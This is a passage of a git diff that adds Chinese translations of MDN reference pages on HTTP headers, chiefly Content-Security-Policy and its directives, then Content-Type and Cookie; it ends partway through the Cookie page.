id="示例">示例</h2> + +<p>示例: 禁用不安全的内联/动态执行, 只允许通过 https加载这些资源 (images, fonts, scripts, etc.)</p> + +<pre>// header +Content-Security-Policy: default-src https: + +// meta tag +<meta http-equiv="Content-Security-Policy" content="default-src https:"> +</pre> + +<p>示例: 已经存在的一个网站,用了太多内联代码修复问题,而且想确保资源只从 https 加载,并且禁止插件:</p> + +<pre>Content-Security-Policy: default-src https: 'unsafe-eval' 'unsafe-inline'; object-src 'none'</pre> + +<p>实例:还没有开始实施上面的策略;相反,只是开始上报可能会发生违反安全策略的行为:</p> + +<pre>Content-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/</pre> + +<p>查看 <a href="https://wiki.mozilla.org/Security/Guidelines/Web_Security#Examples_5">Mozilla Web Security Guidelines</a> 上的更多例子.</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">注释</th> + </tr> + <tr> + <td>{{specName("CSP 3.0")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>Adds <code>disown-opener</code>, <code>manifest-src</code>, <code>navigation-to</code>, <code>report-uri</code>, <code>strict-dynamic</code>, <code>worker-src</code>. Undeprecates <code>frame-src</code>. Deprecates report-uri in favor if <code>report-to</code>.</td> + </tr> + <tr> + <td>{{specName("Mixed Content")}}</td> + <td>{{Spec2('Mixed Content')}}</td> + <td>Adds <code>block-all-mixed-content</code>.</td> + </tr> + <tr> + <td>{{specName("Subresource Integrity")}}</td> + <td>{{Spec2('Subresource Integrity')}}</td> + <td>Adds <code>require-sri-for</code>.</td> + </tr> + <tr> + <td>{{specName("Upgrade Insecure Requests")}}</td> + <td>{{Spec2('Upgrade Insecure Requests')}}</td> + <td>Adds <code>upgrade-insecure-requests</code>.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Adds <code>base-uri</code>, <code>child-src</code>, <code>form-action</code>, <code>frame-ancestors</code>, <code>plugin-types</code>, <code>referrer</code>, <code>reflected-xss</code>, and <code>report-uri</code>. Deprecates <code>frame-src</code>.</td> + </tr> + <tr> + <td>{{specName("CSP 1.0")}}</td> + <td>{{Spec2('CSP 1.0')}}</td> + <td>Defines <code>connect-src</code>, <code>default-src</code>, <code>font-src</code>, <code>frame-src</code>, <code>img-src</code>, <code>media-src</code>, <code>object-src</code>, report-uri, <code>sandbox</code>, <code>script-src,</code> and <code>style-src</code>.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http/headers/content-security-policy", "Content-Security-Policy")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</li> + <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Content Security in WebExtensions</a></li> + <li> + <p><a href="/en-US/docs/Tools/GCLI/Display_security_and_privacy_policies">Display security and privacy policies In Firefox Developer Tools</a></p> + </li> +</ul> diff --git a/files/zh-cn/web/http/headers/content-security-policy/report-to/index.html b/files/zh-cn/web/http/headers/content-security-policy/report-to/index.html new file mode 100644 index 0000000000..9789e2363d --- /dev/null +++ b/files/zh-cn/web/http/headers/content-security-policy/report-to/index.html @@ -0,0 +1,82 @@ +--- +title: report-to +slug: Web/HTTP/Headers/Content-Security-Policy/report-to +translation_of: Web/HTTP/Headers/Content-Security-Policy/report-to +--- +<p><dfn><code>Report-To</code></dfn> HTTP响应头部指示客户端存储特定域名的报告端点。</p> + +<pre>Content-Security-Policy: ...; report-to groupname +</pre> + +<p>该指令本身没有任何影响,仅与其他指令结合起来才有意义。</p> + +<table> + <tbody> + <tr> + <th scope="row">CSP version</th> + <td>1</td> + </tr> + <tr> + <th scope="row">指令类型</th> + <td>{{Glossary("Reporting directive")}}</td> + </tr> + <tr> + <th colspan="2" scope="row"> + <p>{{HTMLElement("meta")}} <span style="font-style: inherit; font-weight: inherit;">元素并不支持该指令</span></p> + </th> + </tr> + </tbody> +</table> + +<p> </p> + +<h2 id="Syntax">Syntax</h2> + +<p> </p> + +<pre>Content-Security-Policy: report-to <json-field-value>;</pre> + +<h2 id="Examples">Examples</h2> + +<p>可以查看{{HTTPHeader("Content-Security-Policy-Report-Only")}}获取更多信息和示例。</p> + +<pre><a href="http://wicg.github.io/reporting/#report-to" id="ref-for-report-to①">Report-To</a>: { "<a href="http://wicg.github.io/reporting/#group" id="ref-for-group①">group</a>": "csp-endpoint", + "<a href="http://wicg.github.io/reporting/#max-age" id="ref-for-max-age①">max-age</a>": 10886400, + "<a href="http://wicg.github.io/reporting/#endpoints" id="ref-for-endpoints②">endpoints</a>": [ + { "<a href="http://wicg.github.io/reporting/#url" id="ref-for-url②">url</a>": "https://example.com/csp-reports" } + ] }, + { "<a href="http://wicg.github.io/reporting/#group" id="ref-for-group②">group</a>": "hpkp-endpoint", + "<a href="http://wicg.github.io/reporting/#max-age" id="ref-for-max-age②">max-age</a>": 10886400, + "<a href="http://wicg.github.io/reporting/#endpoints" id="ref-for-endpoints③">endpoints</a>": [ + { "<a href="http://wicg.github.io/reporting/#url" id="ref-for-url③">url</a>": "https://example.com/hpkp-reports" } + ] } +<a href="https://w3c.github.io/webappsec-csp/#content-security-policy" id="ref-for-content-security-policy①">Content-Security-Policy</a>: ...; <a href="https://w3c.github.io/webappsec-csp/#directives-reporting" id="ref-for-directives-reporting①">report-to</a> csp-endpoint +</pre> + +<p> </p> + +<pre><a href="http://wicg.github.io/reporting/#report-to" id="ref-for-report-to">Report-To</a>: { "<a href="http://wicg.github.io/reporting/#group" id="ref-for-group">group</a>": "endpoint-1", + "<a href="http://wicg.github.io/reporting/#max-age" id="ref-for-max-age">max-age</a>": 10886400, + "<a href="http://wicg.github.io/reporting/#endpoints" id="ref-for-endpoints①">endpoints</a>": [ + { "<a href="http://wicg.github.io/reporting/#url" id="ref-for-url">url</a>": "https://example.com/reports" }, + { "<a href="http://wicg.github.io/reporting/#url" id="ref-for-url①">url</a>": "https://backup.com/reports" } + ] } + +<a href="https://w3c.github.io/webappsec-csp/#content-security-policy" id="ref-for-content-security-policy">Content-Security-Policy</a>: ...; <a href="https://w3c.github.io/webappsec-csp/#directives-reporting" id="ref-for-directives-reporting">report-to</a> endpoint-1</pre> + +<p> </p> + +<p>Browser compatibility</p> + +<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.report-to")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</li> +</ul> + +<p> </p> diff --git a/files/zh-cn/web/http/headers/content-security-policy/require-sri-for/index.html b/files/zh-cn/web/http/headers/content-security-policy/require-sri-for/index.html new file mode 100644 index 0000000000..0c79f8e21b --- /dev/null +++ b/files/zh-cn/web/http/headers/content-security-policy/require-sri-for/index.html @@ -0,0 +1,70 @@ +--- +title: 'CSP: require-sri-for' +slug: Web/HTTP/Headers/Content-Security-Policy/require-sri-for +translation_of: Web/HTTP/Headers/Content-Security-Policy/require-sri-for +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP协议 {{HTTPHeader("Content-Security-Policy")}}头部的require-sri-for指令指示客户端在页面上对脚本或样式使用子资源完整性策略。</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">Content-Security-Policy: require-sri-for script; +Content-Security-Policy: require-sri-for style; +Content-Security-Policy: require-sri-for script style; +</pre> + +<dl> + <dt><code>script</code></dt> + <dd>要求脚本符合{{Glossary("SRI")}}。</dd> + <dt><code>style</code></dt> + <dd>要求样式资源满足 {{Glossary("SRI")}}。</dd> + <dt><code>script style</code></dt> + <dd>要求脚本和样式资源都满足{{Glossary("SRI")}}。</dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<p>如果你通过如下指令将站点设置为要求脚本和资源满足SRI策略: </p> + +<pre>Content-Security-Policy: require-sri-for script style</pre> + +<p>{{HTMLElement("script")}} 元素会被加载,因为它们拥有有效的完整性属性。</p> + +<pre class="brush: html; example-good"><script src="https://code.jquery.com/jquery-3.1.1.slim.js" + integrity="sha256-5i/mQ300M779N2OVDrl16lbohwXNUdzL/R2aVUXyXWA=" + crossorigin="anonymous"></script></pre> + +<p>但是,没有完整性属性的脚本将不会再加载:</p> + +<pre class="brush: html; example-bad"><script src="https://code.jquery.com/jquery-3.1.1.slim.js"></script></pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{specName("Subresource Integrity", "#opt-in-require-sri-for", "require-sri-for")}}</td> + <td>{{Spec2('Subresource Integrity')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.require-sri-for")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li><a href="/en-US/docs/Web/Security/Subresource_Integrity">Subresource Integrity</a></li> +</ul> diff --git a/files/zh-cn/web/http/headers/content-security-policy/sandbox/index.html b/files/zh-cn/web/http/headers/content-security-policy/sandbox/index.html new file mode 100644 index 0000000000..7420675567 --- /dev/null +++ b/files/zh-cn/web/http/headers/content-security-policy/sandbox/index.html @@ -0,0 +1,99 @@ +--- +title: 'CSP: sandbox' +slug: Web/HTTP/Headers/Content-Security-Policy/sandbox +tags: + - CSP + - XSS防御 + - http头 + - 安全 +translation_of: Web/HTTP/Headers/Content-Security-Policy/sandbox +--- +<div>{{HTTPSidebar}}</div> + +<p>The HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>sandbox</strong></code> directive enables a sandbox for the requested resource similar to the {{HTMLElement("iframe")}} {{htmlattrxref("sandbox", "iframe")}} attribute. It applies restrictions to a page's actions including preventing popups, preventing the execution of plugins and scripts, and enforcing a same-origin policy.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">CSP version</th> + <td>1.1 / 2</td> + </tr> + <tr> + <th scope="row">Directive type</th> + <td>{{Glossary("Document directive")}}</td> + </tr> + <tr> + <th colspan="2" scope="row">This directive is not supported in the {{HTMLElement("meta")}} element or by the {{HTTPHeader("Content-Security-policy-Report-Only")}} header field.</th> + </tr> + </tbody> +</table> + +<h2 id="句法"><font><font>句法</font></font></h2> + +<pre class="syntaxbox">Content-Security-Policy: sandbox; +Content-Security-Policy: sandbox <value>; +</pre> + +<p><code><value></code><font><font>可以选择是以下值之一:</font></font></p> + +<dl> + <dt><code>allow-forms</code></dt> + <dd><font><font>允许嵌入式浏览上下文提交表单。</font><font>如果未使用此关键字,则不允许此操作。</font></font></dd> + <dt><code>allow-modals</code></dt> + <dd><font><font>允许嵌入式浏览上下文打开模态窗口。</font></font></dd> + <dt><code>allow-orientation-lock</code></dt> + <dd>允许嵌入式浏览上下文禁用锁定屏幕方向的功能。</dd> + <dt><code>allow-pointer-lock</code></dt> + <dd><font><font>允许嵌入式浏览上下文使用</font></font><a href="https://developer.mozilla.org/en-US/docs/WebAPI/Pointer_Lock"><font><font>Pointer Lock API</font></font></a><font><font>。</font></font></dd> + <dt><code>allow-popups</code></dt> + <dd><font><font>允许弹出窗口(像</font></font><code>window.open</code><font><font>,</font></font><code>target="_blank"</code><font><font>,</font></font><code>showModalDialog</code><font><font>)。</font><font>如果未使用此关键字,则该功能将无提示失败。</font></font></dd> + <dt><code>allow-popups-to-escape-sandbox</code></dt> + <dd><font>允许沙盒文档打开新窗口而不强制沙盒标记。</font><font>例如,这将允许安全地沙箱化第三方广告,而不会对登陆页面施加相同的限制。</font></dd> + <dt><code>allow-presentation</code></dt> + <dd><font><font>允许嵌入器控制iframe是否可以启动演示会话。</font></font></dd> + <dt><code>allow-same-origin</code></dt> + <dd><font>允许将内容视为来自其正常来源。</font><font>如果未使用此关键字,则嵌入的内容将被视为来自唯一来源。</font></dd> + <dt><code>allow-scripts</code></dt> + <dd><font>允许嵌入式浏览上下文运行脚本(但不创建弹出窗口)。</font><font>如果未使用此关键字,则不允许此操作。</font></dd> + <dt><code>allow-top-navigation</code></dt> + <dd><font>允许嵌入式浏览上下文将内容导航(加载)到顶级浏览上下文。</font><font>如果未使用此关键字,则不允许此操作。</font></dd> +</dl> + +<h2 id="例子"><font><font>例子</font></font></h2> + +<pre class="brush: bash">Content-Security-Policy: sandbox allow-scripts;</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{specName("CSP 3.0", "#directive-sandbox", "sandbox")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>No changes.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1", "#directive-sandbox", "sandbox")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性"><font><font>浏览器兼容性</font></font></h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.sandbox")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{htmlattrxref("sandbox", "iframe")}} attribute on {{HTMLElement("iframe")}} elements</li> +</ul> diff --git a/files/zh-cn/web/http/headers/content-security-policy/script-src-elem/index.html b/files/zh-cn/web/http/headers/content-security-policy/script-src-elem/index.html new file mode 100644 index 0000000000..674e7bd9b0 --- /dev/null +++ b/files/zh-cn/web/http/headers/content-security-policy/script-src-elem/index.html @@ -0,0 +1,87 @@ +--- +title: 'CSP: script-src-elem' +slug: Web/HTTP/Headers/Content-Security-Policy/script-src-elem +translation_of: Web/HTTP/Headers/Content-Security-Policy/script-src-elem +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP协议中 {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>script-src-elem</strong></code> 指示符明指定了合法的js要素来源 {{HTMLElement("script")}} ,但是不包括类似onclick这样的事件处理器中包含的内联脚本。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">CSP 版本</th> + <td>3</td> + </tr> + <tr> + <th scope="row">Directive type</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} fallback</th> + <td>Yes. If this directive is absent, the user agent will look for the {{CSP("script-src")}} directive, and if both of them are absent, fallback to <code>default-src</code> directive.</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<p> <code>script-src-elem</code> 可以允许多个来源:</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: script-src-elem <source>; +Content-Security-Policy: script-src-elem <source> <source>; +</pre> + +<p><code>script-src-elem</code> 可以跟 {{CSP("script-src")}}一起用:</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: script-src <source>; +Content-Security-Policy: script-src-elem <source>; +</pre> + +<h3 id="Sources">Sources</h3> + +<p>{{page("Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p> + +<h2 id="范例">范例</h2> + +<h3 id="回退到_script-src">回退到 script-src</h3> + +<p>如果没有 <code>script-src-elem</code> 存在, 客户端会回退到 {{CSP("script-src")}} 指示符, 如果那个也还是没有那就回退到 {{CSP("default-src")}}。</p> + +<div class="hidden"> +<p>TODO: Add comprehensive examples.</p> +</div> + +<h2 id="细则">细则</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{specName("CSP 3.0", "#directive-script-src-elem", "script-src-elem")}}</td> + <td>{{Spec2("CSP 3.0")}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容问题">浏览器兼容问题</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.Content-Security-Policy.script-src-elem")}}</p> + +<h2 id="其他的链接">其他的链接</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{HTMLElement("script")}}</li> + <li>{{CSP("script-src")}}</li> + <li>{{CSP("script-src-attr")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/content-security-policy/upgrade-insecure-requests/index.html b/files/zh-cn/web/http/headers/content-security-policy/upgrade-insecure-requests/index.html new file mode 100644 index 0000000000..68eb2c5036 --- /dev/null +++ b/files/zh-cn/web/http/headers/content-security-policy/upgrade-insecure-requests/index.html @@ -0,0 +1,84 @@ +--- +title: 'CSP: upgrade-insecure-requests' +slug: Web/HTTP/Headers/Content-Security-Policy/upgrade-insecure-requests +translation_of: Web/HTTP/Headers/Content-Security-Policy/upgrade-insecure-requests +--- +<div>{{HTTPSidebar}}</div> + +<p> </p> + +<p>HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>upgrade-insecure-requests</strong></code>指令指示客户端将该站点的所有不安全URL(通过HTTP提供的URL)视为已被替换为安全URL(通过HTTPS提供的URL)。该指令适用于需要重写大量不安全的旧版URL的网站。</p> + +<p><code>upgrade-insecure-requests</code>指令在 {{CSP("block-all-mixed-content")}} 之前被执行,如果其被设置,后者实际上是空操作。可以设置其中一个,但不能同时设置。</p> + +<p>The <code>upgrade-insecure-requests</code> directive will not ensure that users visiting your site via links on third-party sites will be upgraded to HTTPS for the top-level navigation and thus does not replace the {{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}}) header, which should still be set with an appropriate <code>max-age</code> to ensure that users are not subject to SSL stripping attacks.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">Content-Security-Policy: upgrade-insecure-requests;</pre> + +<h2 id="Examples">Examples</h2> + +<pre>// header +Content-Security-Policy: upgrade-insecure-requests; + +// meta tag +<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests"> +</pre> + +<p>一旦将上述头部设置在计划从HTTP迁移到HTTPS的example.com域名上, 非跳转(non-navigational)的不安全资源请求会自动升级到HTTPS(包括第当前域名以及第三方请求)。</p> + +<pre class="brush: html"><img src="http://example.com/image.png"> +<img src="http://not-example.com/image.png"></pre> + +<p>这些URL在请求发送之前都会被改写成HTTPS,也就意味着不安全的请求都不会发送出去。注意,如果请求的资源在HTTPS情况下不可用,则该请求将失败, 其也不能回退到HTTP。</p> + +<pre class="brush: html"><img src="https://example.com/image.png"> +<img src="https://not-example.com/image.png"></pre> + +<p>Navigational upgrades to third-party resources brings a significantly higher potential for breakage, these are not upgraded:</p> + +<pre class="brush: html"><a href="https://example.com/">Home</a> +<a href="http://not-example.com/">Home</a></pre> + +<h3 id="Finding_insecure_requests">Finding insecure requests</h3> + +<p>通过 {{HTTPHeader("Content-Security-Policy-Report-Only")}} HTTP头部和 {{CSP("report-uri")}} 指令,您可以设置执行策略和报告策略,如下所示:</p> + +<pre>Content-Security-Policy: upgrade-insecure-requests; default-src https: +Content-Security-Policy-Report-Only: default-src https:; report-uri /endpoint</pre> + +<p>That way, you still upgrade insecure requests on your secure site, but the only monitoring policy is violated and reports insecure resources to your endpoint.</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{specName("Upgrade Insecure Requests", "#delivery", "upgrade-insecure-requests")}}</td> + <td>{{Spec2('Upgrade Insecure Requests')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.upgrade-insecure-requests")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{HTTPHeader("Upgrade-Insecure-Requests")}} header</li> + <li>{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}}) header</li> + <li>{{CSP("block-all-mixed-content")}}</li> + <li><a href="/en-US/docs/Web/Security/Mixed_content">Mixed content</a></li> +</ul> diff --git a/files/zh-cn/web/http/headers/content-security-policy/worker-src/index.html b/files/zh-cn/web/http/headers/content-security-policy/worker-src/index.html new file mode 100644 index 0000000000..538dfea028 --- /dev/null +++ b/files/zh-cn/web/http/headers/content-security-policy/worker-src/index.html @@ -0,0 +1,92 @@ +--- +title: 'CSP: worker-src' +slug: Web/HTTP/Headers/Content-Security-Policy/worker-src +translation_of: Web/HTTP/Headers/Content-Security-Policy/worker-src +--- +<div>{{HTTPSidebar}}</div> + +<p>The HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>worker-src</strong></code> directive specifies valid sources for {{domxref("Worker")}}, {{domxref("SharedWorker")}}, or {{domxref("ServiceWorker")}} scripts.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">CSP version</th> + <td>3</td> + </tr> + <tr> + <th scope="row">Directive type</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">Fallback</th> + <td> + <p>If this directive is absent, the user agent will first look for the {{CSP("child-src")}} directive, then the {{CSP("script-src")}} directive, then finally for the {{CSP("default-src")}} directive, when governing worker execution.</p> + + <p>Chrome 59 and higher skips the {{CSP("child-src")}} directive.</p> + + <p>Edge 17 skips the {{CSP("script-src")}} directive (<a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/17415478/">bug</a>).</p> + </td> + </tr> + </tbody> +</table> + +<h2 id="Syntax">Syntax</h2> + +<p>One or more sources can be allowed for the <code>worker-src</code> policy:</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: worker-src <source>; +Content-Security-Policy: worker-src <source> <source>; +</pre> + +<h3 id="Sources">Sources</h3> + +<p>{{page("Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p> + +<h2 id="Examples">Examples</h2> + +<h3 id="Violation_cases">Violation cases</h3> + +<p>Given this CSP header:</p> + +<pre class="brush: bash notranslate">Content-Security-Policy: worker-src https://example.com/</pre> + +<p>{{domxref("Worker")}}, {{domxref("SharedWorker")}}, {{domxref("ServiceWorker")}} are blocked and won't load:</p> + +<pre class="brush: html notranslate"><script> + var blockedWorker = new Worker("data:application/javascript,..."); + blockedWorker = new SharedWorker("https://not-example.com/"); + navigator.serviceWorker.register('https://not-example.com/sw.js'); +</script></pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{specName("CSP 3.0", "#directive-worker-src", "worker-src")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.Content-Security-Policy.worker-src")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li><a href="/docs/Web/API/Web_Workers_API/Using_web_workers#Content_security_policy">CSP for Web Workers</a></li> + <li>{{domxref("Worker")}}, {{domxref("SharedWorker")}}, {{domxref("ServiceWorker")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/content-type/index.html b/files/zh-cn/web/http/headers/content-type/index.html new file mode 100644 index 0000000000..84a3407486 --- /dev/null +++ b/files/zh-cn/web/http/headers/content-type/index.html @@ -0,0 +1,118 @@ +--- +title: Content-Type +slug: Web/HTTP/Headers/Content-Type +tags: + - Content-Type + - HTTP + - POST + - application/x-www-form-urlencoded + - enctype= + - form + - multipart/form-data +translation_of: Web/HTTP/Headers/Content-Type +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Content-Type</code></strong> 实体头部用于指示资源的MIME类型 {{Glossary("MIME type","media type")}} 。</p> + +<p>在响应中,Content-Type标头告诉客户端实际返回的内容的内容类型。浏览器会在某些情况下进行MIME查找,并不一定遵循此标题的值; 为了防止这种行为,可以将标题 {{HTTPHeader("X-Content-Type-Options")}} 设置为 <strong>nosniff</strong>。</p> + +<p>在请求中 (如{{HTTPMethod("POST")}} 或 {{HTTPMethod("PUT")}}),客户端告诉服务器实际发送的数据类型。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Entity header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="句法">句法</h2> + +<pre class="syntaxbox">Content-Type: text/html; charset=utf-8 +Content-Type: multipart/form-data; boundary=something +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><code>media-type</code></dt> + <dd>资源或数据的 <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME type</a> 。</dd> + <dt>charset</dt> + <dd>字符编码标准。</dd> + <dt>boundary</dt> + <dd>对于多部分实体,boundary 是必需的,其包括来自一组字符的1到70个字符,已知通过电子邮件网关是非常健壮的,而不是以空白结尾。它用于封装消息的多个部分的边界。</dd> +</dl> + +<h2 id="例子">例子</h2> + +<h3 id="Content-Type_在HTML表单中"><code>Content-Type</code> 在HTML表单中</h3> + +<p>在通过HTML form提交生成的{{HTTPMethod("POST")}}请求中,请求头的Content-Type由{{HTMLElement("form")}}元素上的enctype属性指定</p> + +<pre class="brush: html"><form action="/" method="post" enctype="multipart/form-data"> + <input type="text" name="description" value="some text"> + <input type="file" name="myFile"> + <button type="submit">Submit</button> +</form> +</pre> + +<p>请求头看起来像这样(在这里省略了一些 headers):</p> + +<pre><code>POST /foo HTTP/1.1 +Content-Length: 68137 +Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575 + +---------------------------974767299852498929531610575 +Content-Disposition: form-data; name="description" + +some text +---------------------------974767299852498929531610575 +Content-Disposition: form-data; name="myFile"; filename="foo.txt" +Content-Type: text/plain + +(content of the uploaded file foo.txt) +---------------------------974767299852498929531610575</code></pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7233", "Content-Type in multipart", "4.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> + </tr> + <tr> + <td>{{RFC("7231", "Content-Type", "3.1.1.5")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Content-Type")}}</p> + +<h2 id="也可以看看">也可以看看</h2> + +<ul> + <li>{{HTTPHeader("Accept")}} and {{HTTPHeader("Accept-Charset")}}</li> + <li>{{HTTPHeader("Content-Disposition")}}</li> + <li>{{HTTPStatus("206")}} Partial Content</li> + <li>{{HTTPHeader("X-Content-Type-Options")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/cookie/index.html b/files/zh-cn/web/http/headers/cookie/index.html new file mode 100644 index 0000000000..a4aaff7f30 --- /dev/null +++ b/files/zh-cn/web/http/headers/cookie/index.html @@ -0,0 +1,72 @@ +--- +title: Cookie +slug: Web/HTTP/Headers/Cookie +tags: + - Cookies + - HTTP + - 请求 + - 超文本传输协议 + - 首部 +translation_of: Web/HTTP/Headers/Cookie +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Cookie</code></strong> 是一个请求首部,其中含有先前由服务器通过 {{HTTPHeader("Set-Cookie")}} 首部投放并存储到客户端的 <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a>。</p> + +<p>这个首部可能会被完全移除,例如在浏览器的隐私设置里面设置为禁用cookie。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Cookie: <cookie-list> +Cookie: name=value +Cookie: name=value; name2=value2; name3=value3</pre> + +<dl> + <dt><cookie-list></dt> + 